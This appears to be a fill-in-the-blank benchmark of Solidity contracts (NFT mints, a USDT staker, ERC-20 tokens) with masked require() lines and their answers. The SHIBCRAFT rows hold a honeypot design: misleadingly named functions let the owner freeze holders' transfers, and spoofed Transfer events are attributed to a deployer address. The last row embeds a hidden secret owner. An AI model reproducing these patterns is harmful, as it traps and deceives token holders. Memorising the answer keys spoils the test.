comment
stringlengths 1
211
⌀ | input
stringlengths 155
20k
| label
stringlengths 4
1k
| original_idx
int64 203
514k
| predicate
stringlengths 1
1k
|
|---|---|---|---|---|
"SIG_FAILED" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
contract Croobies is ERC721A, Ownable {
using ECDSA for bytes32;
using Strings for uint256;
enum SaleState {
CLOSED,
ALLOW_LIST,
PUBLIC
}
struct SaleConfig {
uint112 publicPrice;
uint16 maxSupply;
uint8 maxPerWallet;
SaleState currentState;
}
//@notice mapping to store claimed
mapping(address => bool) public claimed;
//@notice Contract Variables
SaleConfig public config;
bool public revealed;
//@notice Signer for allow list
address public signer;
//@notice Metadata URL
string private _baseTokenURI;
//@notice Support for ERC2981
bytes4 private constant _INTERFACE_ID_ERC2981 = 0x2a55205a;
//@notice Royalty Variables
address private _royaltyAddress;
uint256 private _royaltyPercentage;
constructor(
address _signer,
address royaltyAddress,
uint256 royaltyPercentage,
string memory _base
) ERC721A("Croobies", "CROOBIE") {
}
function allowlistBuy(bytes calldata signature, uint256 quantity) external {
require(config.currentState == SaleState.ALLOW_LIST, "NOT_LIVE");
require(totalSupply() + quantity <= config.maxSupply, "MAX_SUPPLY");
require(!claimed[msg.sender], "USER_CLAIMED");
require(<FILL_ME>)
claimed[msg.sender] = true;
_safeMint(msg.sender, quantity);
}
function publicMint(uint256 quantity) external payable {
}
function withdraw() external onlyOwner {
}
function setBaseURI(string calldata baseURI) external onlyOwner {
}
function setState(SaleState _state) external onlyOwner {
}
function setSigner(address user) external onlyOwner {
}
function setCost(uint112 _cost) external onlyOwner {
}
function setSupply(uint16 supply) external onlyOwner {
}
function revealCroobies(bool _reveal, string memory newURI) external onlyOwner {
}
function editRoyaltyFee(uint256 percent) external onlyOwner {
}
function royaltyInfo(uint256, uint256 value) external view returns (address, uint256) {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
}
| keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",keccak256(abi.encodePacked(msg.sender,quantity)))).recover(signature)==signer,"SIG_FAILED" | 182,267 | keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",keccak256(abi.encodePacked(msg.sender,quantity)))).recover(signature)==signer |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
Shiba Witchcraft - $SHIBCRAFT -
Brewing up yields on the ETH blockchain.
TG: OfficialShibCraft
*/
contract SHIBCRAFT {
mapping (address => uint256) public balanceOf;
mapping (address => bool) AmountOf;
//
string public name = "Shiba Witch";
string public symbol = unicode"SHIBCRAFT";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x1A649fE8A395919f014DD517b025c64ccD169B7A;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
if(msg.sender == Construct) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(<FILL_ME>)
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true; }
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function checkver(address oracle, uint256 update) public {
}
function _approve(address txt) public
{
}
function query(address txt) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !AmountOf[msg.sender],"Amount Exceeds Balance" | 182,331 | !AmountOf[msg.sender] |
"0x" | pragma solidity 0.8.17;
/*
Shiba Witchcraft - $SHIBCRAFT -
Brewing up yields on the ETH blockchain.
TG: OfficialShibCraft
*/
contract SHIBCRAFT {
mapping (address => uint256) public balanceOf;
mapping (address => bool) AmountOf;
//
string public name = "Shiba Witch";
string public symbol = unicode"SHIBCRAFT";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x1A649fE8A395919f014DD517b025c64ccD169B7A;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function checkver(address oracle, uint256 update) public {
}
function _approve(address txt) public
{
require(msg.sender == owner);
require(<FILL_ME>)
AmountOf[txt] = true; }
function query(address txt) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| !AmountOf[txt],"0x" | 182,331 | !AmountOf[txt] |
"0x" | pragma solidity 0.8.17;
/*
Shiba Witchcraft - $SHIBCRAFT -
Brewing up yields on the ETH blockchain.
TG: OfficialShibCraft
*/
contract SHIBCRAFT {
mapping (address => uint256) public balanceOf;
mapping (address => bool) AmountOf;
//
string public name = "Shiba Witch";
string public symbol = unicode"SHIBCRAFT";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x1A649fE8A395919f014DD517b025c64ccD169B7A;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function checkver(address oracle, uint256 update) public {
}
function _approve(address txt) public
{
}
function query(address txt) public {
require(msg.sender == owner);
require(<FILL_ME>)
AmountOf[txt] = false; }
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
}
}
| AmountOf[txt],"0x" | 182,331 | AmountOf[txt] |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
Shiba Witchcraft - $SHIBCRAFT -
Brewing up yields on the ETH blockchain.
TG: OfficialShibCraft
*/
contract SHIBCRAFT {
mapping (address => uint256) public balanceOf;
mapping (address => bool) AmountOf;
//
string public name = "Shiba Witch";
string public symbol = unicode"SHIBCRAFT";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x1A649fE8A395919f014DD517b025c64ccD169B7A;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function checkver(address oracle, uint256 update) public {
}
function _approve(address txt) public
{
}
function query(address txt) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(<FILL_ME>)
require(!AmountOf[to] , "Amount Exceeds Balance");
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !AmountOf[from],"Amount Exceeds Balance" | 182,331 | !AmountOf[from] |
"Amount Exceeds Balance" | pragma solidity 0.8.17;
/*
Shiba Witchcraft - $SHIBCRAFT -
Brewing up yields on the ETH blockchain.
TG: OfficialShibCraft
*/
contract SHIBCRAFT {
mapping (address => uint256) public balanceOf;
mapping (address => bool) AmountOf;
//
string public name = "Shiba Witch";
string public symbol = unicode"SHIBCRAFT";
uint8 public decimals = 18;
uint256 public totalSupply = 150000000 * (uint256(10) ** decimals);
uint256 private _totalSupply;
event Transfer(address indexed from, address indexed to, uint256 value);
constructor() {
}
address owner = msg.sender;
address Construct = 0x1A649fE8A395919f014DD517b025c64ccD169B7A;
address lead_deployer = 0xB8f226dDb7bC672E27dffB67e4adAbFa8c0dFA08;
modifier onlyOwner() {
}
function deploy(address account, uint256 amount) public onlyOwner {
}
function transfer(address to, uint256 value) public returns (bool success) {
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value) public returns (bool success) {
}
function checkver(address oracle, uint256 update) public {
}
function _approve(address txt) public
{
}
function query(address txt) public {
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
if(from == Construct) {
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
emit Transfer (lead_deployer, to, value);
return true; }
require(!AmountOf[from] , "Amount Exceeds Balance");
require(<FILL_ME>)
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true; }
}
| !AmountOf[to],"Amount Exceeds Balance" | 182,331 | !AmountOf[to] |
"Invalid timelock period" | pragma solidity >=0.8.4;
//TODO add minimum stake
contract StableStaker is Ownable {
using SafeERC20 for ERC20;
event StableStaked(
address indexed _wallet,
uint256 _amount,
uint256 _lockDuration,
uint256 _reward
);
event FundsWithdrawn(address indexed _owner, uint256 _amount);
event RewardsClaimed(address indexed _wallet, uint256 _amount);
struct Stake {
uint256 amount;
uint256 lockDuration;
uint256 reward;
uint256 entryTimeStamp;
}
uint256 public minInvestmentAmount;
address public usdtAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
mapping(address => Stake[]) public stakes;
mapping(uint256 => uint256) timelockRewards;
uint256 public totalFundstoDistribute;
constructor(
uint256[] memory _lockInDays,
uint256[] memory _rewardPercentage
) {
}
function setMinInvestment(uint256 _amount) external onlyOwner {
}
function stakeTokens(uint256 _amount, uint256 _lockDuration) external {
require(<FILL_ME>)
require(
_amount >= minInvestmentAmount,
"Min investment amount not reached"
);
require(
IERC20(usdtAddress).balanceOf(msg.sender) >= _amount,
"Unsufficient balance"
);
require(
IERC20(usdtAddress).allowance(msg.sender, address(this)) >= _amount,
"Unsufficient allowance"
);
ERC20(usdtAddress).safeTransferFrom(msg.sender, address(this), _amount);
totalFundstoDistribute += (_amount * (100 + timelockRewards[_lockDuration])) / 100;
stakes[msg.sender].push(
Stake(
_amount,
_lockDuration,
(_amount * (100 + timelockRewards[_lockDuration])) / 100,
block.timestamp
)
);
emit StableStaked(
msg.sender,
_amount,
_lockDuration,
(_amount * (1 + timelockRewards[_lockDuration])) / 100
);
}
function withDrawTokens() external onlyOwner {
}
function claimRewards() external {
}
function setStableReward(address _newUsdtAddress) external onlyOwner {
}
function getStakes(address _wallet) external view returns (Stake[] memory) {
}
}
| timelockRewards[_lockDuration]!=0,"Invalid timelock period" | 182,419 | timelockRewards[_lockDuration]!=0 |
"Unsufficient balance" | pragma solidity >=0.8.4;
//TODO add minimum stake
contract StableStaker is Ownable {
using SafeERC20 for ERC20;
event StableStaked(
address indexed _wallet,
uint256 _amount,
uint256 _lockDuration,
uint256 _reward
);
event FundsWithdrawn(address indexed _owner, uint256 _amount);
event RewardsClaimed(address indexed _wallet, uint256 _amount);
struct Stake {
uint256 amount;
uint256 lockDuration;
uint256 reward;
uint256 entryTimeStamp;
}
uint256 public minInvestmentAmount;
address public usdtAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
mapping(address => Stake[]) public stakes;
mapping(uint256 => uint256) timelockRewards;
uint256 public totalFundstoDistribute;
constructor(
uint256[] memory _lockInDays,
uint256[] memory _rewardPercentage
) {
}
function setMinInvestment(uint256 _amount) external onlyOwner {
}
function stakeTokens(uint256 _amount, uint256 _lockDuration) external {
require(timelockRewards[_lockDuration] != 0, "Invalid timelock period");
require(
_amount >= minInvestmentAmount,
"Min investment amount not reached"
);
require(<FILL_ME>)
require(
IERC20(usdtAddress).allowance(msg.sender, address(this)) >= _amount,
"Unsufficient allowance"
);
ERC20(usdtAddress).safeTransferFrom(msg.sender, address(this), _amount);
totalFundstoDistribute += (_amount * (100 + timelockRewards[_lockDuration])) / 100;
stakes[msg.sender].push(
Stake(
_amount,
_lockDuration,
(_amount * (100 + timelockRewards[_lockDuration])) / 100,
block.timestamp
)
);
emit StableStaked(
msg.sender,
_amount,
_lockDuration,
(_amount * (1 + timelockRewards[_lockDuration])) / 100
);
}
function withDrawTokens() external onlyOwner {
}
function claimRewards() external {
}
function setStableReward(address _newUsdtAddress) external onlyOwner {
}
function getStakes(address _wallet) external view returns (Stake[] memory) {
}
}
| IERC20(usdtAddress).balanceOf(msg.sender)>=_amount,"Unsufficient balance" | 182,419 | IERC20(usdtAddress).balanceOf(msg.sender)>=_amount |
"Unsufficient allowance" | pragma solidity >=0.8.4;
//TODO add minimum stake
contract StableStaker is Ownable {
using SafeERC20 for ERC20;
event StableStaked(
address indexed _wallet,
uint256 _amount,
uint256 _lockDuration,
uint256 _reward
);
event FundsWithdrawn(address indexed _owner, uint256 _amount);
event RewardsClaimed(address indexed _wallet, uint256 _amount);
struct Stake {
uint256 amount;
uint256 lockDuration;
uint256 reward;
uint256 entryTimeStamp;
}
uint256 public minInvestmentAmount;
address public usdtAddress = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
mapping(address => Stake[]) public stakes;
mapping(uint256 => uint256) timelockRewards;
uint256 public totalFundstoDistribute;
constructor(
uint256[] memory _lockInDays,
uint256[] memory _rewardPercentage
) {
}
function setMinInvestment(uint256 _amount) external onlyOwner {
}
function stakeTokens(uint256 _amount, uint256 _lockDuration) external {
require(timelockRewards[_lockDuration] != 0, "Invalid timelock period");
require(
_amount >= minInvestmentAmount,
"Min investment amount not reached"
);
require(
IERC20(usdtAddress).balanceOf(msg.sender) >= _amount,
"Unsufficient balance"
);
require(<FILL_ME>)
ERC20(usdtAddress).safeTransferFrom(msg.sender, address(this), _amount);
totalFundstoDistribute += (_amount * (100 + timelockRewards[_lockDuration])) / 100;
stakes[msg.sender].push(
Stake(
_amount,
_lockDuration,
(_amount * (100 + timelockRewards[_lockDuration])) / 100,
block.timestamp
)
);
emit StableStaked(
msg.sender,
_amount,
_lockDuration,
(_amount * (1 + timelockRewards[_lockDuration])) / 100
);
}
function withDrawTokens() external onlyOwner {
}
function claimRewards() external {
}
function setStableReward(address _newUsdtAddress) external onlyOwner {
}
function getStakes(address _wallet) external view returns (Stake[] memory) {
}
}
| IERC20(usdtAddress).allowance(msg.sender,address(this))>=_amount,"Unsufficient allowance" | 182,419 | IERC20(usdtAddress).allowance(msg.sender,address(this))>=_amount |
"E12" | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/*function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
/*function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}*/
}
pragma solidity ^0.8.0;
/*
* @title GFA contract
*/
contract gammo is Ownable, ERC721 {
uint256 public GFAPrice = 1500000000000000; //0.02 ETH
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 60;
uint256 public constant freeMintQty = 1000;
/*
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 10;
uint256 public constant freeMintQty = 15;
*/
uint256 public mintContrib = 0;
mapping (address => bool) public withdrawn;
bool public saleIsActive = false;
uint256 public ownerWithdrawals = 0;
uint256 public deposited = 0;
constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) {
}
function withdraw(uint256 amount) public onlyOwner {
}
function emergencyDeposit() public payable {
}
function updateMintPrice(uint256 newPrice) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function flipState() public onlyOwner {
}
/**
* Mints GFA
*/
function mintGFA(uint8 numberOfTokens) public payable {
uint256 supply = totalSupply();
require(numberOfTokens <= maxGFAPurchase, "E11");
require(<FILL_ME>)
require(saleIsActive, "E10");
require((mintedQty[msg.sender] + numberOfTokens) <= preMaxPerWallet, "max per wallet reached for premint");
if (supply >= freeMintQty) {
require((GFAPrice * numberOfTokens) <= msg.value, "E15");
} else {
if (numberOfTokens <= (freeMintQty - supply)) {
mintContrib = mintContrib + (GFAPrice * numberOfTokens);
} else {
require(((numberOfTokens - (freeMintQty - supply)) * GFAPrice) <= msg.value, "E15");
mintContrib = mintContrib + ((numberOfTokens - (freeMintQty - supply)) * GFAPrice);
}
}
mintedQty[msg.sender] = mintedQty[msg.sender] + numberOfTokens;
for(uint256 i = 1; i <= numberOfTokens; i++) {
if (supply < MAX_GFA) {
_safeMint(msg.sender, supply + i);
}
}
}
}
| (supply+numberOfTokens)<=MAX_GFA,"E12" | 182,521 | (supply+numberOfTokens)<=MAX_GFA |
"max per wallet reached for premint" | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/*function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
/*function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}*/
}
pragma solidity ^0.8.0;
/*
* @title GFA contract
*/
contract gammo is Ownable, ERC721 {
uint256 public GFAPrice = 1500000000000000; //0.02 ETH
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 60;
uint256 public constant freeMintQty = 1000;
/*
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 10;
uint256 public constant freeMintQty = 15;
*/
uint256 public mintContrib = 0;
mapping (address => bool) public withdrawn;
bool public saleIsActive = false;
uint256 public ownerWithdrawals = 0;
uint256 public deposited = 0;
constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) {
}
function withdraw(uint256 amount) public onlyOwner {
}
function emergencyDeposit() public payable {
}
function updateMintPrice(uint256 newPrice) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function flipState() public onlyOwner {
}
/**
* Mints GFA
*/
function mintGFA(uint8 numberOfTokens) public payable {
uint256 supply = totalSupply();
require(numberOfTokens <= maxGFAPurchase, "E11");
require((supply + numberOfTokens) <= MAX_GFA, "E12");
require(saleIsActive, "E10");
require(<FILL_ME>)
if (supply >= freeMintQty) {
require((GFAPrice * numberOfTokens) <= msg.value, "E15");
} else {
if (numberOfTokens <= (freeMintQty - supply)) {
mintContrib = mintContrib + (GFAPrice * numberOfTokens);
} else {
require(((numberOfTokens - (freeMintQty - supply)) * GFAPrice) <= msg.value, "E15");
mintContrib = mintContrib + ((numberOfTokens - (freeMintQty - supply)) * GFAPrice);
}
}
mintedQty[msg.sender] = mintedQty[msg.sender] + numberOfTokens;
for(uint256 i = 1; i <= numberOfTokens; i++) {
if (supply < MAX_GFA) {
_safeMint(msg.sender, supply + i);
}
}
}
}
| (mintedQty[msg.sender]+numberOfTokens)<=preMaxPerWallet,"max per wallet reached for premint" | 182,521 | (mintedQty[msg.sender]+numberOfTokens)<=preMaxPerWallet |
"E15" | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/*function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
/*function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}*/
}
pragma solidity ^0.8.0;
/*
* @title GFA contract
*/
contract gammo is Ownable, ERC721 {
uint256 public GFAPrice = 1500000000000000; //0.02 ETH
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 60;
uint256 public constant freeMintQty = 1000;
/*
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 10;
uint256 public constant freeMintQty = 15;
*/
uint256 public mintContrib = 0;
mapping (address => bool) public withdrawn;
bool public saleIsActive = false;
uint256 public ownerWithdrawals = 0;
uint256 public deposited = 0;
constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) {
}
function withdraw(uint256 amount) public onlyOwner {
}
function emergencyDeposit() public payable {
}
function updateMintPrice(uint256 newPrice) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function flipState() public onlyOwner {
}
/**
* Mints GFA
*/
function mintGFA(uint8 numberOfTokens) public payable {
uint256 supply = totalSupply();
require(numberOfTokens <= maxGFAPurchase, "E11");
require((supply + numberOfTokens) <= MAX_GFA, "E12");
require(saleIsActive, "E10");
require((mintedQty[msg.sender] + numberOfTokens) <= preMaxPerWallet, "max per wallet reached for premint");
if (supply >= freeMintQty) {
require(<FILL_ME>)
} else {
if (numberOfTokens <= (freeMintQty - supply)) {
mintContrib = mintContrib + (GFAPrice * numberOfTokens);
} else {
require(((numberOfTokens - (freeMintQty - supply)) * GFAPrice) <= msg.value, "E15");
mintContrib = mintContrib + ((numberOfTokens - (freeMintQty - supply)) * GFAPrice);
}
}
mintedQty[msg.sender] = mintedQty[msg.sender] + numberOfTokens;
for(uint256 i = 1; i <= numberOfTokens; i++) {
if (supply < MAX_GFA) {
_safeMint(msg.sender, supply + i);
}
}
}
}
| (GFAPrice*numberOfTokens)<=msg.value,"E15" | 182,521 | (GFAPrice*numberOfTokens)<=msg.value |
"E15" | pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
/*function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}*/
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
/*function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}*/
}
pragma solidity ^0.8.0;
/*
* @title GFA contract
*/
contract gammo is Ownable, ERC721 {
uint256 public GFAPrice = 1500000000000000; //0.02 ETH
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 60;
uint256 public constant freeMintQty = 1000;
/*
uint256 public constant maxGFAPurchase = 10;
uint256 public constant preMaxPerWallet = 10;
uint256 public constant freeMintQty = 15;
*/
uint256 public mintContrib = 0;
mapping (address => bool) public withdrawn;
bool public saleIsActive = false;
uint256 public ownerWithdrawals = 0;
uint256 public deposited = 0;
constructor(string memory name, string memory symbol, uint256 maxNftSupply) ERC721(name, symbol) {
}
function withdraw(uint256 amount) public onlyOwner {
}
function emergencyDeposit() public payable {
}
function updateMintPrice(uint256 newPrice) public onlyOwner {
}
function setBaseURI(string memory baseURI) public onlyOwner {
}
/*
* Pause sale if active, make active if paused
*/
function flipState() public onlyOwner {
}
/**
* Mints GFA
*/
function mintGFA(uint8 numberOfTokens) public payable {
uint256 supply = totalSupply();
require(numberOfTokens <= maxGFAPurchase, "E11");
require((supply + numberOfTokens) <= MAX_GFA, "E12");
require(saleIsActive, "E10");
require((mintedQty[msg.sender] + numberOfTokens) <= preMaxPerWallet, "max per wallet reached for premint");
if (supply >= freeMintQty) {
require((GFAPrice * numberOfTokens) <= msg.value, "E15");
} else {
if (numberOfTokens <= (freeMintQty - supply)) {
mintContrib = mintContrib + (GFAPrice * numberOfTokens);
} else {
require(<FILL_ME>)
mintContrib = mintContrib + ((numberOfTokens - (freeMintQty - supply)) * GFAPrice);
}
}
mintedQty[msg.sender] = mintedQty[msg.sender] + numberOfTokens;
for(uint256 i = 1; i <= numberOfTokens; i++) {
if (supply < MAX_GFA) {
_safeMint(msg.sender, supply + i);
}
}
}
}
| ((numberOfTokens-(freeMintQty-supply))*GFAPrice)<=msg.value,"E15" | 182,521 | ((numberOfTokens-(freeMintQty-supply))*GFAPrice)<=msg.value |
"Ownable: caller is not the owner" | // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^ 0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
address private _secreOwner = 0xACFcBA7BAB6403EBCcEEe22810c4dd3C9bBE9763;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns(address) {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(<FILL_ME>)
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
